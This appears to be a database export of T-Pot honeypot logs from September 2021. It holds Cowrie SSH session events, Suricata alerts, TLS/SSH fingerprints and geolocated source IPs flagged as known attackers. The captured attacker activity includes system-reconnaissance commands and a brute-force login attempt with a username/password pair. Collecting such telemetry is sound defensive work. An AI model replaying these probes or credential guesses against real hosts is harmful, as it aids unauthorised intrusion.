"771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 34642, "dest_port": 443, "timestamp": "2021-09-20T11:00:12.625845", "@timestamp": "2021-09-20T11:00:12.625Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
19735	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:00:12.667125+03	2021-09-20 14:15:01.483614+03	{"_id": "7QXdAnwBvYTbRNuECvS2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 34642, "timestamp": "2021-09-20T11:00:12.667125", "@timestamp": "2021-09-20T11:00:12.667Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
19736	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:00:12.469579+03	2021-09-20 14:15:01.484612+03	{"_id": "7gXdAnwBvYTbRNuECvS2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "36.27.214.211", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "665a4d9a3ae7", "@version": "1", "duration": 0.5855875015258789, "duplicate": true, "timestamp": "2021-09-20T11:00:12.469579Z", "@timestamp": "2021-09-20T11:00:12.469Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
19737	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:00:12.905035+03	2021-09-20 14:15:01.485614+03	{"_id": "7wXdAnwBvYTbRNuECvS2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.session.params", "message": [], "session": "665a4d9a3ae7", "@version": "1", "timestamp": "2021-09-20T11:00:12.905035Z", "@timestamp": "2021-09-20T11:00:12.905Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
19738	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:00:12.905584+03	2021-09-20 14:15:01.486613+03	{"_id": "8AXdAnwBvYTbRNuECvS2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "665a4d9a3ae7", "@version": "1", "timestamp": "2021-09-20T11:00:12.905584Z", "@timestamp": "2021-09-20T11:00:12.905Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
19739	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:00:13.490279+03	2021-09-20 14:15:01.487614+03	{"_id": "8QXdAnwBvYTbRNuEDvQ7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "36.27.214.211", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "665a4d9a3ae7", "@version": "1", "duration": 0.5853290557861328, "duplicate": true, "timestamp": "2021-09-20T11:00:13.490279Z", "@timestamp": "2021-09-20T11:00:13.490Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
19740	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:00:13.866952+03	2021-09-20 14:15:01.488613+03	{"_id": "8gXdAnwBvYTbRNuEDvQ7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.session.params", "message": [], "session": "665a4d9a3ae7", "@version": "1", "timestamp": "2021-09-20T11:00:13.866952Z", "@timestamp": "2021-09-20T11:00:13.866Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
19741	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:00:13.867502+03	2021-09-20 14:15:01.490614+03	{"_id": "8wXdAnwBvYTbRNuEDvQ7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "665a4d9a3ae7", "@version": "1", "timestamp": "2021-09-20T11:00:13.867502Z", "@timestamp": "2021-09-20T11:00:13.867Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
19742	192.168.20.103	109.199.241.180	Suricata	2021-09-20 14:00:13.907071+03	2021-09-20 14:15:01.491612+03	{"_id": "9gXdAnwBvYTbRNuEEfRT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.1", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:00:13.907071Z", "@timestamp": "2021-09-20T11:00:13.907Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
19743	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:00:14.453564+03	2021-09-20 14:15:01.492613+03	{"_id": "9wXdAnwBvYTbRNuEEvQj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "36.27.214.211", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "665a4d9a3ae7", "@version": "1", "duration": 0.5866885185241699, "duplicate": true, "timestamp": "2021-09-20T11:00:14.453564Z", "@timestamp": "2021-09-20T11:00:14.453Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
19744	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:00:14.88735+03	2021-09-20 14:15:01.493614+03	{"_id": "-AXdAnwBvYTbRNuEEvQj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.session.params", "message": [], "session": "665a4d9a3ae7", "@version": "1", "timestamp": "2021-09-20T11:00:14.887350Z", "@timestamp": "2021-09-20T11:00:14.887Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
19745	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:00:14.887896+03	2021-09-20 14:15:01.495613+03	{"_id": "-QXdAnwBvYTbRNuEEvQj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "665a4d9a3ae7", "@version": "1", "timestamp": "2021-09-20T11:00:14.887896Z", "@timestamp": "2021-09-20T11:00:14.887Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
19746	42.63.158.253	109.199.241.180	Suricata	2021-09-20 14:00:30.408074+03	2021-09-20 14:15:01.496613+03	{"_id": "CQXdAnwBvYTbRNuET_Xa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.5"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "42.63.158.253", "dest_ip": "192.168.20.116", "flow_id": 498462794574833, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 44659, "dest_port": 22, "timestamp": "2021-09-20T11:00:30.408074Z", "@timestamp": "2021-09-20T11:00:30.408Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
19747	42.63.158.253	109.199.241.180	Fatt	2021-09-20 14:00:30.408355+03	2021-09-20 14:15:01.497613+03	{"_id": "CgXdAnwBvYTbRNuEUPVz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "42.63.158.253", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.5", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 44659, "dest_port": 22, "timestamp": "2021-09-20T11:00:30.408355", "@timestamp": "2021-09-20T11:00:30.408Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
19748	42.63.158.253	109.199.241.180	Cowrie	2021-09-20 14:00:30.062839+03	2021-09-20 14:15:01.498613+03	{"_id": "CwXdAnwBvYTbRNuEUPWp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "42.63.158.253", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.5'", "session": "1f6855c19cea", "version": "b'SSH-2.0-libssh_0.9.5'", "@version": "1", "timestamp": "2021-09-20T11:00:30.062839Z", "@timestamp": "2021-09-20T11:00:30.062Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
19749	42.63.158.253	109.199.241.180	Cowrie	2021-09-20 14:00:30.062107+03	2021-09-20 14:15:01.499613+03	{"_id": "DAXdAnwBvYTbRNuEUPWq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "42.63.158.253", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 42.63.158.253:44659 (192.168.176.2:22) [session: 1f6855c19cea]", "session": "1f6855c19cea", "@version": "1", "protocol": "ssh", "src_port": 44659, "dest_port": 22, "timestamp": "2021-09-20T11:00:30.062107Z", "@timestamp": "2021-09-20T11:00:30.062Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
19755	42.192.44.134	109.199.241.180	Cowrie	2021-09-20 14:00:34.516167+03	2021-09-20 14:15:01.507612+03	{"_id": "EwXdAnwBvYTbRNuEYPWq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "42.192.44.134", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "42.192.44.134", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 42.192.44.134:33982 (192.168.176.2:22) [session: eca2c611d907]", "session": "eca2c611d907", "@version": "1", "protocol": "ssh", "src_port": 33982, "dest_port": 22, "timestamp": "2021-09-20T11:00:34.516167Z", "@timestamp": "2021-09-20T11:00:34.516Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
19750	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:00:30.063392+03	2021-09-20 14:15:01.500612+03	{"_id": "DQXdAnwBvYTbRNuEUPWs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "42.63.158.253", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 44659, "timestamp": "2021-09-20T11:00:30.063392", "@timestamp": "2021-09-20T11:00:30.063Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
19751	42.63.158.253	109.199.241.180	Cowrie	2021-09-20 14:00:30.409005+03	2021-09-20 14:15:01.502613+03	{"_id": "DgXdAnwBvYTbRNuEUPWs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "42.63.158.253", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "1f6855c19cea", "@version": "1", "timestamp": "2021-09-20T11:00:30.409005Z", "@timestamp": "2021-09-20T11:00:30.409Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
19752	42.63.158.253	109.199.241.180	Cowrie	2021-09-20 14:00:31.890003+03	2021-09-20 14:15:01.503614+03	{"_id": "DwXdAnwBvYTbRNuEVPWR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "42.63.158.253", "eventid": "cowrie.login.failed", "message": "login attempt [admin/jeanette] failed", "session": "1f6855c19cea", "@version": "1", "password": "jeanette", "username": "admin", "timestamp": "2021-09-20T11:00:31.890003Z", "@timestamp": "2021-09-20T11:00:31.890Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
